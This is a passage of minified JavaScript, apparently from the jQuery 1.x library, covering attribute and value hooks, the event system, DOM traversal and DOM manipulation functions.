null==e?"":e+""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;for(;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--)r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get"in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set"in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r+""),r):(x.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-"+n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-"+n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w+/g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-"+n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid++),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--)s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),x.event.global[g]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--)if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)x.event.remove(e,d+t[u],n,r,!0);x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on"+g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(u=u.parentNode);u;u=u.parentNode)h.push(u),f=u;f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault();if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i);o.length&&s.push({elem:u,handlers:o})}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX+(o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++&&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid++)),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(x.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return!!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(st.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/<tbody/i,wt=/<|&#?\w+;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h))return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)});if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u++)i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u);if(o)for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u++)i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")));l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type"))+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r++)x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)x.event.add(t,n,s[n][r])}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events)x.removeEvent(t,r,i.handle);t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get());return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n));return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);++a)r[a]&&Ot(i,r[a]);if(t)if(n)for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a++)Mt(i,r[a]);else Mt(e,o);return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===x.type(o))x.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1></$2>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s++)if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events)for(r in a.events)f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle);
u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push(o))}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e))return this.each(function(t){x(this).wrapAll(e.call(this,t))});if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return 